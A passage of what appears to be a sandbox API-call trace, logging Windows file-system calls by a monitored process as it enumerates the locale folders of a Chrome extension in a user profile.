(normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3d96e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3d96e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3d96e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn", lpFilePart=0x0) returned 0x7d [0069.919] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.919] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn", lpFilePart=0x0) returned 0x7d [0069.920] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.920] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko", lpFilePart=0x0) returned 0x7d [0069.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3e0c10, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3e3320, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3e3320, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko", lpFilePart=0x0) returned 0x7d [0069.920] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.920] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko", lpFilePart=0x0) returned 0x7d [0069.921] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.921] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo", lpFilePart=0x0) returned 0x7d [0069.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3e8140, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3ea850, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3ea850, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo", lpFilePart=0x0) returned 0x7d [0069.921] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.921] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo", lpFilePart=0x0) returned 0x7d [0069.921] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.921] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.921] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt", lpFilePart=0x0) returned 0x7d [0069.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3ef670, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3f1d80, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3f1d80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.922] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt", lpFilePart=0x0) returned 0x7d [0069.922] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.922] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.922] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt", lpFilePart=0x0) returned 0x7d [0069.922] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.922] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv", lpFilePart=0x0) returned 0x7d [0069.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3f6ba0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3f92b0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3f92b0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv", lpFilePart=0x0) returned 0x7d [0069.923] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.923] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv", lpFilePart=0x0) returned 0x7d [0069.923] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.923] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml", lpFilePart=0x0) returned 0x7d [0069.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3fe0d0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee4007e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee4007e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml", lpFilePart=0x0) returned 0x7d [0069.924] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.924] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml", lpFilePart=0x0) returned 0x7d [0069.924] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.924] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn", lpFilePart=0x0) returned 0x7d [0069.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee405600, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee407d10, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee407d10, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn", lpFilePart=0x0) returned 0x7d [0069.925] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.925] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.925] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn", lpFilePart=0x0) returned 0x7d [0069.925] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.925] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.925] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr", lpFilePart=0x0) returned 0x7d [0069.925] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee40cb30, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee40f240, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee40f240, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.925] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr", lpFilePart=0x0) returned 0x7d [0069.926] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.926] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr", lpFilePart=0x0) returned 0x7d [0069.926] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.926] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms", lpFilePart=0x0) returned 0x7d [0069.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee414060, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee416770, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee416770, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.926] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms", lpFilePart=0x0) returned 0x7d [0069.926] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.926] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.926] GetFullPathNameW 